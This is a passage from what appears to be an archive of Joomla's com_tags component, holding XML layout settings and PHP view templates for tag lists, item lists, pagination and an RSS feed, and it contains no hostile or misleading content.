				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				description="COM_TAGS_SHOW_TAG_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				description="COM_TAGS_SHOW_TAG_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				class="inputbox"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				description="JGLOBAL_FIELD_FIELD_ORDERING_DESC"
				default=""
				useglobal="true"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				description="JGLOBAL_ORDER_DIRECTION_DESC"
				useglobal="true"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="COM_TAGS_ITEM_OPTIONS">

			<field
				name="spacer2"
				type="spacer"
				label="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL"
				class="text"
			/>

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				description="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				description="COM_TAGS_LIST_MAX_CHARACTERS_DESC"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="pagination" label="COM_TAGS_PAGINATION_OPTIONS">

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				description="COM_TAGS_SEARCH_TYPE_DESC"
				useglobal="true"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				description="COM_TAGS_INCLUDE_CHILDREN_DESC"
				default=""
				useglobal="true"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
com_tags/views/tag/tmpl/default.php000060400000005537152453734450013403 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Note that there are certain parts of this layout used only when there is exactly one tag.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
$isSingleTag = count($this->item) === 1;

?>
<div class="tag-category<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_tag_title', 1)) : ?>
		<h2>
			<?php echo JHtml::_('content.prepare', $this->tags_title, '', 'com_tag.tag'); ?>
		</h2>
	<?php endif; ?>
	<?php // We only show a tag description if there is a single tag. ?>
	<?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
		<div class="category-desc">
			<?php $images = json_decode($this->item[0]->images); ?>
			<?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
				<img src="<?php echo htmlspecialchars($images->image_fulltext, ENT_QUOTES, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($images->image_fulltext_alt, ENT_QUOTES, 'UTF-8'); ?>" />
			<?php endif; ?>
			<?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
				<?php echo JHtml::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
			<?php endif; ?>
			<div class="clr"></div>
		</div>
	<?php endif; ?>
	<?php // If there are multiple tags and a description or image has been supplied use that. ?>
	<?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
		<?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
			<img src="<?php echo htmlspecialchars($this->params->get('tag_list_image'), ENT_QUOTES, 'UTF-8'); ?>" />
		<?php endif; ?>
		<?php if ($this->params->get('tag_list_description', '') > '') : ?>
			<?php echo JHtml::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
		<?php endif; ?>
	<?php endif; ?>
	<?php echo $this->loadTemplate('items'); ?>
	<?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->get('pages.total') > 1)) : ?>
		<div class="pagination">
			<?php if ($this->params->def('show_pagination_results', 1)) : ?>
				<p class="counter pull-right">
					<?php echo $this->pagination->getPagesCounter(); ?>
				</p>
			<?php endif; ?>
			<?php echo $this->pagination->getPagesLinks(); ?>
		</div>
	<?php endif; ?>
</div>
com_tags/views/tag/tmpl/list.xml000060400000017046152453734450012741 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_LIST_COMPACT_TITLE" option="COM_TAGS_TAG_VIEW_LIST_COMPACT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_TAGS_ITEMS_COMPACT_LIST"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_LIST_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				description="COM_TAGS_FIELD_SELECT_TAG_DESC"
				mode="nested"
				required="true"
				multiple="true"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				description="COM_TAGS_FIELD_TYPE_DESC"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				description="COM_TAGS_FIELD_LANGUAGE_FILTER_DESC"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				description="COM_TAGS_SHOW_TAG_TITLE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				description="COM_TAGS_SHOW_TAG_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				description="COM_TAGS_SHOW_TAG_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				class="inputbox"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				description="JGLOBAL_FIELD_FIELD_ORDERING_DESC"
				default=""
				useglobal="true"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				description="JGLOBAL_ORDER_DIRECTION_DESC"
				useglobal="true"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">

			<field
				name="spacer2"
				type="spacer"
				label="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL"
				class="text"
			/>

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				description="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				description="COM_TAGS_LIST_MAX_CHARACTERS_DESC"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				description="JGLOBAL_FILTER_FIELD_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="COM_TAGS_FIELD_NUMBER_ITEMS_LIST_LABEL"
				description="COM_TAGS_FIELD_NUMBER_ITEMS_LIST_DESC"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_date"
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				description="JGLOBAL_SHOW_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="date_format"
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
				size="15"
			/>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				description="COM_TAGS_SEARCH_TYPE_DESC"
				useglobal="true"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				description="COM_TAGS_INCLUDE_CHILDREN_DESC"
				default=""
				useglobal="true"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
com_tags/views/tag/tmpl/list.php000060400000004457152453734450012732 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Note that there are certain parts of this layout used only when there is exactly one tag.

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
$n = count($this->items);

?>
<div class="tag-category<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_tag_title', 1)) : ?>
		<h2>
			<?php echo JHtml::_('content.prepare', $this->tags_title, '', 'com_tag.tag'); ?>
		</h2>
	<?php endif; ?>
	<?php // We only show a tag description if there is a single tag. ?>
	<?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
		<div class="category-desc">
			<?php $images = json_decode($this->item[0]->images); ?>
			<?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
				<img src="<?php echo htmlspecialchars($images->image_fulltext, ENT_QUOTES, 'UTF-8'); ?>">
			<?php endif; ?>
			<?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
				<?php echo JHtml::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
			<?php endif; ?>
			<div class="clr"></div>
		</div>
	<?php endif; ?>
	<?php // If there are multiple tags and a description or image has been supplied use that. ?>
	<?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
		<?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
			<img src="<?php echo htmlspecialchars($this->params->get('tag_list_image'), ENT_QUOTES, 'UTF-8'); ?>">
		<?php endif; ?>
		<?php if ($this->params->get('tag_list_description', '') > '') : ?>
			<?php echo JHtml::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
		<?php endif; ?>
	<?php endif; ?>
	<?php echo $this->loadTemplate('items'); ?>
</div>
com_tags/views/tag/tmpl/list_items.php000060400000012253152453734450014124 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

JFactory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");

?>
<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
	<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
		<fieldset class="filters btn-toolbar">
			<?php if ($this->params->get('filter_field')) : ?>
				<div class="btn-group">
					<label class="filter-search-lbl element-invisible" for="filter-search">
						<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL') . '&#160;'; ?>
					</label>
					<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" title="<?php echo JText::_('COM_TAGS_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>" />
					<button type="button" name="filter-search-button" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>" onclick="document.adminForm.submit();" class="btn">
						<span class="icon-search"></span>
					</button>
					<button type="reset" name="filter-clear-button" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>" class="btn" onclick="resetFilter(); document.adminForm.submit();">
						<span class="icon-remove"></span>
					</button>
				</div>
			<?php endif; ?>
			<?php if ($this->params->get('show_pagination_limit')) : ?>
				<div class="btn-group pull-right">
					<label for="limit" class="element-invisible">
						<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
					</label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			<?php endif; ?>
			<input type="hidden" name="filter_order" value="" />
			<input type="hidden" name="filter_order_Dir" value="" />
			<input type="hidden" name="limitstart" value="" />
			<input type="hidden" name="task" value="" />
			<div class="clearfix"></div>
		</fieldset>
	<?php endif; ?>
	<?php if (empty($this->items)) : ?>
		<p><?php echo JText::_('COM_TAGS_NO_ITEMS'); ?></p>
	<?php else : ?>
		<table class="category table table-striped table-bordered table-hover">
			<?php if ($this->params->get('show_headings')) : ?>
				<thead>
					<tr>
						<th id="categorylist_header_title">
							<?php echo JHtml::_('grid.sort', 'JGLOBAL_TITLE', 'c.core_title', $listDirn, $listOrder); ?>
						</th>
						<?php if ($date = $this->params->get('tag_list_show_date')) : ?>
							<th id="categorylist_header_date">
								<?php if ($date === 'created') : ?>
									<?php echo JHtml::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_created_time', $listDirn, $listOrder); ?>
								<?php elseif ($date === 'modified') : ?>
									<?php echo JHtml::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_modified_time', $listDirn, $listOrder); ?>
								<?php elseif ($date === 'published') : ?>
									<?php echo JHtml::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_publish_up', $listDirn, $listOrder); ?>
								<?php endif; ?>
							</th>
						<?php endif; ?>
					</tr>
				</thead>
			<?php endif; ?>
			<tbody>
				<?php foreach ($this->items as $i => $item) : ?>
					<?php if ($item->core_state == 0) : ?>
						<tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
					<?php else : ?>
						<tr class="cat-list-row<?php echo $i % 2; ?>">
					<?php endif; ?>
						<td <?php if ($this->params->get('show_headings')) echo "headers=\"categorylist_header_title\""; ?> class="list-title">
							<a href="<?php echo JRoute::_($item->link); ?>">
								<?php echo $this->escape($item->core_title); ?>
							</a>
							<?php if ($item->core_state == 0) : ?>
								<span class="list-published label label-warning">
									<?php echo JText::_('JUNPUBLISHED'); ?>
								</span>
							<?php endif; ?>
						</td>
						<?php if ($this->params->get('tag_list_show_date')) : ?>
							<td headers="categorylist_header_date" class="list-date small">
								<?php
								echo JHtml::_(
									'date', $item->displayDate,
									$this->escape($this->params->get('date_format', JText::_('DATE_FORMAT_LC3')))
								); ?>
							</td>
						<?php endif; ?>
					</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
		<?php // Add pagination links ?>
		<?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
			<div class="pagination">
				<?php if ($this->params->def('show_pagination_results', 1)) : ?>
					<p class="counter pull-right">
						<?php echo $this->pagination->getPagesCounter(); ?>
					</p>
				<?php endif; ?>
				<?php echo $this->pagination->getPagesLinks(); ?>
			</div>
		<?php endif; ?>
	<?php endif; ?>
</form>
com_tags/views/tag/tmpl/default_items.php000060400000011161152453734450014572 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen', 'select');

// Get the user object.
$user = JFactory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
// Do we really have to make it so people can see unpublished tags???
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');

JFactory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");

?>
<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">
	<?php if ($this->params->get('show_headings') || $this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
		<fieldset class="filters btn-toolbar">
			<?php if ($this->params->get('filter_field')) : ?>
				<div class="btn-group">
					<label class="filter-search-lbl element-invisible" for="filter-search">
						<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL') . '&#160;'; ?>
					</label>
					<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" title="<?php echo JText::_('COM_TAGS_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>" />
					<button type="button" name="filter-search-button" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>" onclick="document.adminForm.submit();" class="btn">
						<span class="icon-search"></span>
					</button>
					<button type="reset" name="filter-clear-button" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>" class="btn" onclick="resetFilter(); document.adminForm.submit();">
						<span class="icon-remove"></span>
					</button>
				</div>
			<?php endif; ?>
			<?php if ($this->params->get('show_pagination_limit')) : ?>
				<div class="btn-group pull-right">
					<label for="limit" class="element-invisible">
						<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
					</label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			<?php endif; ?>
			<input type="hidden" name="filter_order" value="" />
			<input type="hidden" name="filter_order_Dir" value="" />
			<input type="hidden" name="limitstart" value="" />
			<input type="hidden" name="task" value="" />
			<div class="clearfix"></div>
		</fieldset>
	<?php endif; ?>
	<?php if (empty($this->items)) : ?>
		<p><?php echo JText::_('COM_TAGS_NO_ITEMS'); ?></p>
	<?php else : ?>
		<ul class="category list-striped">
			<?php foreach ($this->items as $i => $item) : ?>
				<?php if ($item->core_state == 0) : ?>
					<li class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
				<?php else : ?>
					<li class="cat-list-row<?php echo $i % 2; ?> clearfix">
				<?php endif; ?>
				<?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
					<h3>
						<?php echo $this->escape($item->core_title); ?>
					</h3>
				<?php else : ?>
					<h3>
						<a href="<?php echo JRoute::_($item->link); ?>">
							<?php echo $this->escape($item->core_title); ?>
						</a>
					</h3>
				<?php endif; ?>
				<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
				<?php echo $item->event->afterDisplayTitle; ?>
				<?php $images = json_decode($item->core_images); ?>
				<?php if ($this->params->get('tag_list_show_item_image', 1) == 1 && !empty($images->image_intro)) : ?>
					<a href="<?php echo JRoute::_($item->link); ?>">
						<img src="<?php echo htmlspecialchars($images->image_intro); ?>" alt="<?php echo htmlspecialchars($images->image_intro_alt); ?>">
					</a>
				<?php endif; ?>
				<?php if ($this->params->get('tag_list_show_item_description', 1)) : ?>
					<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
					<?php echo $item->event->beforeDisplayContent; ?>
					<span class="tag-body">
						<?php echo JHtml::_('string.truncate', $item->core_body, $this->params->get('tag_list_item_maximum_characters')); ?>
					</span>
					<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
					<?php echo $item->event->afterDisplayContent; ?>
				<?php endif; ?>
				</li>
			<?php endforeach; ?>
		</ul>
	<?php endif; ?>
</form>
com_tags/views/tags/view.feed.php000060400000004267152453734450013041 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Tags component all tags view
 *
 * @since  3.1
 */
class TagsViewTags extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$app            = JFactory::getApplication();
		$document       = JFactory::getDocument();
		$document->link = JRoute::_('index.php?option=com_tags&view=tags');

		$app->input->set('limit', $app->get('feed_limit'));
		$siteEmail        = $app->get('mailfrom');
		$fromName         = $app->get('fromname');
		$feedEmail        = $app->get('feed_email', 'none');
		$document->editor = $fromName;

		if ($feedEmail !== 'none')
		{
			$document->editorEmail = $siteEmail;
		}

		// Get some data from the model
		$items = $this->get('Items');

		foreach ($items as $item)
		{
			// Strip HTML from feed item title
			$title = $this->escape($item->title);
			$title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

			// Strip HTML from feed item description text
			$description = $item->description;
			$author      = $item->created_by_alias ?: $item->created_by_user_name;
			$date        = $item->created_time ? date('r', strtotime($item->created_time)) : '';

			// Load individual item creator class
			$feeditem = new JFeedItem;
			$feeditem->title       = $title;
			$feeditem->link        = '/index.php?option=com_tags&view=tag&id=' . (int) $item->id;
			$feeditem->description = $description;
			$feeditem->date        = $date;
			$feeditem->category    = 'All Tags';
			$feeditem->author      = $author;

			if ($feedEmail === 'site')
			{
				$feeditem->authorEmail = $siteEmail;
			}

			if ($feedEmail === 'author')
			{
				$feeditem->authorEmail = $item->email;
			}

			// Loads item info into RSS array
			$document->addItem($feeditem);
		}
	}
}
com_tags/views/tags/tmpl/default.php000060400000030331152453734450013554 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\Inflector;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$app       = JFactory::getApplication();
$user      = JFactory::getUser();
$userId    = $user->get('id');
